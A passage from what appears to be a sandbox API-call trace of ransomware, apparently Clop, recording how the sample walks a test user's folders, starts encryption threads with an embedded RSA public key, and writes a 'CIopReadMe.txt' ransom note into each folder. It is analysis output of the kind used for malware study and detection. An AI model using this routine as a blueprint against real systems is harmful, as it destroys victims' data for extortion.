(in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0088.005] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0088.005] lstrcmpW (lpString1="Aclviho ASldjfl.contact", lpString2="..") returned 1 [0088.005] lstrcmpW (lpString1="Aclviho ASldjfl.contact", lpString2=".") returned 1 [0088.005] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned 35 [0088.005] Sleep (dwMilliseconds=0xd) [0088.028] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0088.028] lstrcpyW (in: lpString1=0x2dc93de, lpString2="Aclviho ASldjfl.contact" | out: lpString1="Aclviho ASldjfl.contact") returned="Aclviho ASldjfl.contact" [0088.028] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" [0088.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x35c [0088.028] WaitForSingleObject (hHandle=0x35c, dwMilliseconds=0xffffffff) returned 0x0 [0088.129] SetErrorMode (uMode=0x1) returned 0x1 [0088.129] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\CIopReadMe.txt") returned 45 [0088.129] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.130] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0088.130] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0088.130] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0088.130] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0088.130] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0088.130] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0088.130] WriteFile (in: hFile=0x39c, lpBuffer=0x60b6c0*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc8a3c, lpOverlapped=0x0 | out: lpBuffer=0x60b6c0*, lpNumberOfBytesWritten=0x2dc8a3c*=0x759, lpOverlapped=0x0) returned 1 [0088.131] CloseHandle (hObject=0x39c) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0088.131] lstrcmpW (lpString1="asdlfk poopvy.contact", lpString2="..") returned 1 [0088.131] lstrcmpW (lpString1="asdlfk poopvy.contact", lpString2=".") returned 1 [0088.131] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned 35 [0088.131] Sleep (dwMilliseconds=0xd) [0088.184] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0088.184] lstrcpyW (in: lpString1=0x2dc93de, lpString2="asdlfk poopvy.contact" | out: lpString1="asdlfk poopvy.contact") returned="asdlfk poopvy.contact" [0088.184] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" [0088.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x358 [0088.185] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0xffffffff) returned 0x0 [0088.557] SetErrorMode (uMode=0x1) returned 0x1 [0088.557] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\CIopReadMe.txt") returned 45 [0088.557] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x26c [0088.557] CloseHandle (hObject=0x26c) returned 1 [0088.557] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0088.557] lstrcmpW (lpString1="chucu jadnvk.contact", lpString2="..") returned 1 [0088.557] lstrcmpW (lpString1="chucu jadnvk.contact", lpString2=".") returned 1 [0088.557] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned 35 [0088.557] Sleep (dwMilliseconds=0xd) [0088.575] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0088.575] lstrcpyW (in: lpString1=0x2dc93de, lpString2="chucu jadnvk.contact" | out: lpString1="chucu jadnvk.contact") returned="chucu jadnvk.contact" [0088.575] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" [0088.575] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26c [0088.575] SetErrorMode (uMode=0x1) returned 0x1 [0088.575] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\CIopReadMe.txt") returned 45 [0088.575] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0088.575] CloseHandle (hObject=0x394) returned 1 [0088.576] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0088.576] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0088.576] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0088.576] lstrlenW (lpString="desktop.ini") returned 11 [0088.576] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0088.576] lstrcmpW (lpString1="lulcit amkdfe.contact", lpString2="..") returned 1 [0088.576] lstrcmpW (lpString1="lulcit amkdfe.contact", lpString2=".") returned 1 [0088.576] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned 35 [0088.576] Sleep (dwMilliseconds=0xd) [0088.606] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0088.606] lstrcpyW (in: lpString1=0x2dc93de, lpString2="lulcit amkdfe.contact" | out: lpString1="lulcit amkdfe.contact") returned="lulcit amkdfe.contact" [0088.606] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" [0088.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x394 [0088.607] SetErrorMode (uMode=0x1) returned 0x1 [0088.607] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\CIopReadMe.txt") returned 45 [0088.607] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0088.607] CloseHandle (hObject=0x398) returned 1 [0088.607] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0088.607] lstrcmpW (lpString1="sikvnb huvuib.contact", lpString2="..") returned 1 [0088.607] lstrcmpW (lpString1="sikvnb huvuib.contact", lpString2=".") returned 1 [0088.607] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned 35 [0088.607] Sleep (dwMilliseconds=0xd) [0088.653] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0088.653] lstrcpyW (in: lpString1=0x2dc93de, lpString2="sikvnb huvuib.contact" | out: lpString1="sikvnb huvuib.contact") returned="sikvnb huvuib.contact" [0088.653] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" [0088.653] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x38c [0088.654] WaitForSingleObject (hHandle=0x38c, dwMilliseconds=0xffffffff) returned 0x0 [0088.733] SetErrorMode (uMode=0x1) returned 0x1 [0088.733] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\CIopReadMe.txt") returned 45 [0088.733] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0088.733] CloseHandle (hObject=0x398) returned 1 [0088.733] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0088.733] FindClose (in: hFindFile=0x5d6a88 | out: hFindFile=0x5d6a88) returned 1 [0088.733] FindClose (in: hFindFile=0x5d6a88 | out: hFindFile=0x5d6a88) returned 0 [0088.733] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Contacts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts" [0088.733] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*" [0088.733] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x5d6a88 [0088.734] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="Contacts" [0088.734] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Contacts" | out: lpString1="Contacts") returned="Contacts" [0088.734] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0088.734] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0088.734] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0088.734] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0088.734] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0088.734] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0088.734] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0088.734] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0088.734] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0088.734] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0088.734] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0088.734] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0088.734] FindClose (in: hFindFile=0x5d6a88 | out: hFindFile=0x5d6a88) returned 1 [0088.734] FindClose (in: hFindFile=0x5d6a88 | out: hFindFile=0x5d6a88) returned 0 [0088.734] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.734] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0088.734] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0088.734] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0088.734] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0088.734] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Cookies" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies" [0088.734] SetErrorMode (uMode=0x1) returned 0x1 [0088.734] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Cookies" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies" [0088.734] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\" [0088.734] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\" [0088.734] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*" [0088.734] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0088.734] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="Cookies" [0088.734] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0088.735] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0088.735] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Cookies" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies" [0088.735] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*" [0088.735] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0088.735] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="Cookies" [0088.735] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0088.735] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0088.735] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.735] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0088.735] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0088.735] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0088.735] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0088.735] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop" [0088.735] SetErrorMode (uMode=0x1) returned 0x1 [0088.735] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop" [0088.735] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0088.735] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0088.735] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*" [0088.735] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x5d6a88 [0088.735] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="Desktop" [0088.735] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0088.735] lstrlenW (lpString="Desktop") returned 7 [0088.735] FindClose (in: hFindFile=0x5d6a88 | out: hFindFile=0x5d6a88) returned 1 [0088.735] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop" [0088.735] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*" [0088.735] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x5d6c48 [0088.735] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="Desktop" [0088.735] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0088.735] lstrlenW (lpString="Desktop") returned 7 [0088.735] FindClose (in: hFindFile=0x5d6c48 | out: hFindFile=0x5d6c48) returned 1 [0088.736] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.736] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0088.736] lstrcmpW 